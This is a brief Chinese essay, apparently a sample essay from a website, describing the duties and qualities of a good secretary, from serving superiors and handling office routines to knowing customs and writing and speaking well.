秘书是上司的左右手，要做到：别人不会的，我懂，别人会的，我精通，要做到这样才能做个好秘书，当然，除此之外，还有很多，之所以说它是服务性的工作，秘书不光是为自己的上司服务，还要为自己的同事，下级服务，秘书对上司有求必应，不厌其烦，秘书尊重上司是天职。
无论秘书出现在何种场合的应酬、开会或是出差，她的言行举止形象素质都不是代表她本人，而是代表她的组织或是单位，部门，所以她必须要有优雅的言行举止与丰富多彩的知识、、、不同的省份不同的国家有着不相同的风俗习惯、宗教信仰，民族禁忌，所以秘书要懂得不同省份不同国家的风俗习惯、宗教信仰、民族禁忌的礼仪，还要懂得，异地的生产动作过程、、、
当然秘书不光要做到以上的，办公室日常工作都要妥善完成，接听电话，会议记录，会议的现场布置等等都与秘书息息相关的。
总之，做好一个优秀的秘书;既要有统筹全局的清醒头脑，又要有倚马可待的出众文笔;还要有舌灿莲花的惊世口才。
[我对秘书工作的认识]
★ 潜在我背脊我范文
★ 我对舞蹈的认识
